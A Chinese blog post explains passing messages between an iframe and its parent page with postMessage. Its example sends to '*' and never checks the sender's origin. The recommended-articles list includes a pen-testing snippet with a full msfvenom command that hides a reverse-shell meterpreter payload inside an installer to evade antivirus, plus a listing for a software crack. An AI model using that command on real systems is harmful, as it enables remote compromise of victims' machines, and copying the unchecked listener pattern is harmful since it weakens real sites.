页面监听-iframe子父页面信息传递与监听

iframe子页面如何监听父页面的变化,并做出响应 var tabWatcher = { activeTabName: '' } let val = '' let tempVal = '' Object.defineProperty(tabWatcher, 'activeTabName', { enumerable: true, configurable: true, get () { console.log('activeTabName被读取') return val }, set (newVal) { i. 阅读详情

之前遇到一个集成别人系统内容的情况,就是弹出框内展示的是别的系统的一个模块,那个模块里面点击保存的时候需要关闭弹出框,这个就牵扯到了页面中的iframe子父页面信息传递。这几天又遇到了这个问题,我就写一下这个博客记录一下,下一次在遇到好找!!!

思路如下:首先可以通过页面监听的方式,子页面发送消息,而父页面监听当前标签页内的消息内容。这样就可以拿到或者说监听到子页面发送的消息。具体代码如下:

//子页面发送:
window.parent.postMessage({
    param:"121121",
    msg:"success"
},"*");
//父页面监听:
window.addEventListener("message", function(event){
    var data = event.data;
    //data.param == "121121" 、data.msg == "success";
})

这个postMessage里面的对象不是固定的数据格式,可以是msg、也可以是code等等,父页面获取的方式跟子页面设定的key保持一致就可以取到对应的值;反之,父页面同样可以发送,子页面去监听,如下所示:

//父页面发送:
$("#mapIframe")[0].contentWindow.postMessage({
    module: "yxtz",
    param: "sl_btn_sw"
},"*");
//子页面监听:
window.addEventListener("message", function(event) {
    var data = event.data;
    //以下内容为处理业务和调用当前页面的函数方法
    if(data.module == "yxtz"){
        changeMapShowInfo(data.param);
    }
});

注意一点,子父页面发送的方式不太一样。一个是parent、一个是需要明确哪个iframe并指向contentWindow;至此,页面中的监听方式的子父页面消息传递就完成了,同时补充一点:父页面调用子页面中的带参函数,代码如下:

//子页面js(子页面的函数不包含在$(function(){})中的方式):
var testIframe = function(param) {
    alert(param);
}
//父页面调用:
//frame1对应iframe的id
document.getElementById("frame1").contentWindow.testIframe("121212");

OK,记录完成!各位大神如果有更好的方式可留言/评论告知一下。谢谢!

实现子页面刷新父页面的iframe交互技术 IFrame(内联框架),是一种在网页中嵌入其他HTML页面的技术。通过IFrame,开发者可以在当前页面中嵌入另一个独立页面,两个页面间互不影响,但可协同工作。window.parent是JavaScript中的一个属性,它指向包含当前iframe的父窗口。此对象为子页面提供了一种方式来访问和控制父页面的状态和内容。postMessage是HTML5中定义的API,它允许在不同源的文档之间进行安全的数据交换。 阅读详情

相关推荐

iframe消息监听传递

解决iframe跨域消息传递的问题,并且可以多个iframe间进行消息传递

js的window.postMessage往不同窗口里面发送数据

父窗口 1 2 3 4 5 6 7     <iframe src="test2.html"></iframe>     <script>       function receiveMessage(e) {         alert(e.data); ...

日志 3860

不经意传输(OT)协议 - Mike Rosulek教授课堂笔记

OT扩展协议-IKNP

qq_43569221的博客 1850

iframe添加addEventListener无效、获取Iframe的contentWindow和contentDocument失败,不使用postMessag,如何监听iframe点击事件

iframe添加addEventListener无效、获取Iframe的contentWindow和contentDocument失败,不使用postMessag,如何监听iframe点击事件

weixin_44434938的博客 7231

2025年第十六届蓝桥杯省赛C/C++大学B组 个人题解

也是写了写部分题解,朱波也是狠狠水了个省二┭┮﹏┭┮,毕竟许多算法知识没怎么学。

2301_80173664的博客 2431

Cesium高效渲染海量GeoJSON数据的7种优化策略与实战解析

本文深入解析Cesium高效渲染海量GeoJSON数据的7种优化策略,包括瓦片化转换、LOD分级加载、数据简化等关键技术。通过实战案例展示如何解决渲染卡顿问题,提升矢量数据加载性能,实现流畅的60FPS交互体验。特别针对GeoJSON大数据量场景提供完整优化方案。

h0i1j2k3l的博客 934

【JavaScript】动态监听iframe高度以及监听iframe内部链接跳转

在日常开发中会遇到一种情况,就是页面需要嵌套iframe,由于iframe无法自适应里面样式高度,所以我们需要去监听iframe的动态高度。当iframe内部链接发生变化,或者是后端或者网关重定向页面,如何去获取最新的iframe里面的href?对此我们可以去监听iframe的load方法,并且在iframe第一次加载完之后开始监听,保证代码的健壮性。但实际使用就会发现,在某些特定的时刻iframe的onload事件只会触发一次。有人可能会说用onload方法,例如。需要监听的iframe。

徐海东的博客 9071

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7650

iframe父页面和子页面之间的交互

父页面:(1.html) <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <div id="parId">嵌入</div...

Dalin0929的博客 779

Win11只读模式无法关闭的终极解决方案

通过以上方法,我们应该能够解决Windows 11中文件夹无法取消只读状态的问题。如果问题仍然存在,请确保你的账户具有足够的权限来修改文件夹属性,并考虑是否有其他安全软件或策略阻止了权限更改。在操作过程中,请务必小心谨慎,避免误操作导致数据丢失或系统损坏。希望本文能够帮助到大家!

mmoo_python的博客 1万+

SpringBoot不用三方框架,怎么动态调度定时任务,ScheduledExecutorService 详解

Spring Boot 提供了强大的定时任务支持,无需依赖任何第三方框架,即可轻松实现可配置的定时任务。通过使用 `@EnableScheduling` 注解启用定时任务支持后,我们可以利用 `@Scheduled` 注解来定义定时任务的方法,这些方法可以在指定的时间间隔或特定时间点自动执行。 我们还可以通过集成 `ScheduledExecutorService` 来实现灵活的定时任务管理。`ScheduledExecutorService` 是 Java 标准库的一部分,能够以固定速率或延迟执行任务,

横竖撇折点 1939

Vue进阶(八十六):iframe 结合 window.postMessage 实现跨域通信

什么是iframe?iframe元素会创建包含另外一个文档的内联框架(即行内框架)。什么是?方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本,只有当执行它们的页面位于具有相同协议(通常为https),端口号(443为https的默认值),以及主机 (两个页面的模数设置为相同值) 时,这两个脚本才能相互通信。方法提供了一种受控机制来规避此限制,只要正确的使用,这种方法就很安全。

IT全栈 华强工作室 7342

IPsec (主模式,野蛮模式)

IPsec vpn的主模式和野蛮模式

七汣的博客 3415

父页面和iframe页面之间信息传递的方式——postMessage

parent page: document.querySelector('iframe').contentWindow.postMessage({ type: 1, msg: 'postMessage TEST parent -> son' }) son page: let that = this window.onmessage = function (e) { // e.data --接收到的字符串。 // e.source ---发送窗口所在的域。 .

zhq_zvik的博客 643

手把手教你学Simulink——基于Simulink的机械臂正运动学仿真建模示例

机械臂正运动学概述正运动学的核心在于根据每个关节的角度值,通过坐标变换(如DH参数法或齐次变换矩阵)计算出末端执行器相对于基座的位置和姿态。常用的数学工具包括旋转矩阵、平移向量以及它们组合而成的齐次变换矩阵。仿真目标设计并实现一个机械臂正运动学模型。输入关节角度,输出末端执行器的位置和姿态。分析不同关节角度下的机械臂位置变化。假设我们有一个简单的3自由度(DOF)平面机械臂,其各关节的长度分别为l1l1​、l2l2​和l3l3​。在Simulink中,可以使用。

MHD0815的博客 359

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

解决vue项目中,iframe依赖onload事件传递消息不可控接收问题

背景介绍因项目需求,在原网站内需要嵌入另一个关联网站的内容,很自然的想到用iframe去解决。但是进入内联网站依赖于主网站的accessToken进行身份验证,因此就涉及到传递token的方式,以及传递的时机这两方面,而内联网站的首次渲染速度过慢问题,在排除webpack打包优化这方面影响后,很有可能就是接受token不及时导致延迟渲染。另外,这两个都是vue项目。先上案例代码// 父页面 &lt...

weixin_33704234的博客 1万+

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

ifream父子页面信息传递

ifream父子页面信息传递 1、父级向子级传递信息通过postMessage传递 this.$refs.SonIframe.contentWindow.postMessage(this.msg, '*') 2、父级接收子级传递信息 // 接受子级返回数据 window.addEventListener('message', function (e) { if ((typeof e.data) === 'string') { alert('父级接收子级返回数据:' +

学而时习之,不亦说乎。 486

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

iframe 父子间传值通信

1、同域 iframe 父子间传值 (1)父页面 <html> <head> <script type="text/javascript"> function say(){ alert("parent.html"); } function callChi...

weixin_30902675的博客 182

iframe子页面ajax报错,iframe跨域通信封装详解

iframe跨域通信众所周知,由于前端javascript对跨域访问做了安全限制,javascript只能访问与包含它的文档在同一域下的内容。用法举例:1. 在top页面中建立方法供内部页面使用function testFun (text) {alert(text);}TopProxyConfig = {url:'http://www.demo.org/proxy.html'};6. 通过kiss...

weixin_35823536的博客 378

使用postMesssage()实现跨域iframe页面间的信息传递----转载

由于web同源策略的限制,当页面使用跨域iframe链接时,主页面与子页面是无法交互的,这对页面间的信息传递造成了不小的麻烦,经过一系列的尝试,最后我发现有以下方法可以实现: 1. 子页面url传参 简单说来就是把所有需要传递的参数加到与主页面同源的url上,将子页面重定向到该url,然后主页面通过iframe的src获取这些参数 过程非常复杂,不建议使用这种方法 2.postMessa...

weixin_30241919的博客 134

项目 用iframe来切换页面,涉及到跨域传递消息 怎么解决

跨域传递消息

wuarongwqy的博客 130

内嵌iframe_基于iframe,前端和前端联调也是很丝滑

平时做的需求,都是前后端联调,可能有时候多一个客户端联调。但还有一些需求,需要前端与前端联调——iframe内嵌,一些很复杂的页面可能会选择直接内嵌、还有现在很火的微前端其中一种实现方式也是iframe,最后页面也基本少不了两个前端页面的通信了。前端和前端联调的时候,比起和后端联调的时候,需要做的更多。因为前端和前端联调不仅是数据层面上,还有页面状态的信息传递。下面我们来探讨一套前端联调...

weixin_39928480的博客 417

iframe怎么用_基于iframe,前端和前端联调也是很丝滑

平时做的需求,都是前后端联调,可能有时候多一个客户端联调。但还有一些需求,需要前端与前端联调——iframe内嵌,一些很复杂的页面可能会选择直接内嵌、还有现在很火的微前端其中一种实现方式也是iframe,最后页面也基本少不了两个前端页面的通信了。前端和前端联调的时候,比起和后端联调的时候,需要做的更多。因为前端和前端联调不仅是数据层面上,还有页面状态的信息传递。下面我们来探讨一套前端联调...

weixin_39614094的博客 424

跨域 iframe 通信(页面引入跨域iframe)

如果使用的是不跨域的iframe,可以直接获取iframe中的DOM元素,不需要使用postMessage通信。需要修改iframe工程中的代码,并且postMessage不能传递iframe中的dom对象。当iframe传递Dom对象时,会出现报错:“DataCloneError:无法克隆对象。如果想要获取跨域iframe中的元素,由于浏览器的同源策略,直接获取是不允许的,形式如下。// 由于iframe和这个页面不同域,获取不到该元素,并且会报错。

风小猪的博客 1970

Vue 中使用 iframe 踩坑记录 iframe + postMessage

好久没写博客了,前一段时间都在准备面试相关的,最近换工作了,加上住进了自己买的小房子,各种事情,还是比较忙的。 我们来言归正传: 需求:最近在写一个博客的功能模块,技术栈是单独选择的vuepress,完成后想要融合到一个vue工程里,考虑到后期维护的问题,就通过iframe将vuepress打包后的工程页面引入到vue工程的一个页面中,这样iframe的父子级页面之间也要进行信息的传递,比如说传递iframe的子页面的滚动高度给父页面,然后撑开页面高度。 1.iframe的初始高度问题 vue工程的

在下魔王ii的博客 1953

使用postMesssage()实现跨域iframe页面间的信息传递

由于web同源策略的限制,当页面使用跨域iframe链接时,主页面与子页面是无法交互的,这对页面间的信息传递造成了不小的麻烦,经过一系列的尝试,最后我发现有以下方法可以实现: 1. 子页面url传参 简单说来就是把所有需要传递的参数加到与主页面同源的url上,将子页面重定向到该url,然后主页面通过iframe的src获取这些参数 过程非常复杂,不建议使用这种方法 2.post...

weixin_30527423的博客 243
上一篇: js操作-页面元素转canvas并打印或转成图片下载(包含滚动条隐藏的内容)
下一篇: linux中常用的系统进程相关的命令
异常的昵称
博客等级 码龄10年 18粉丝 17原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

异常的昵称

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值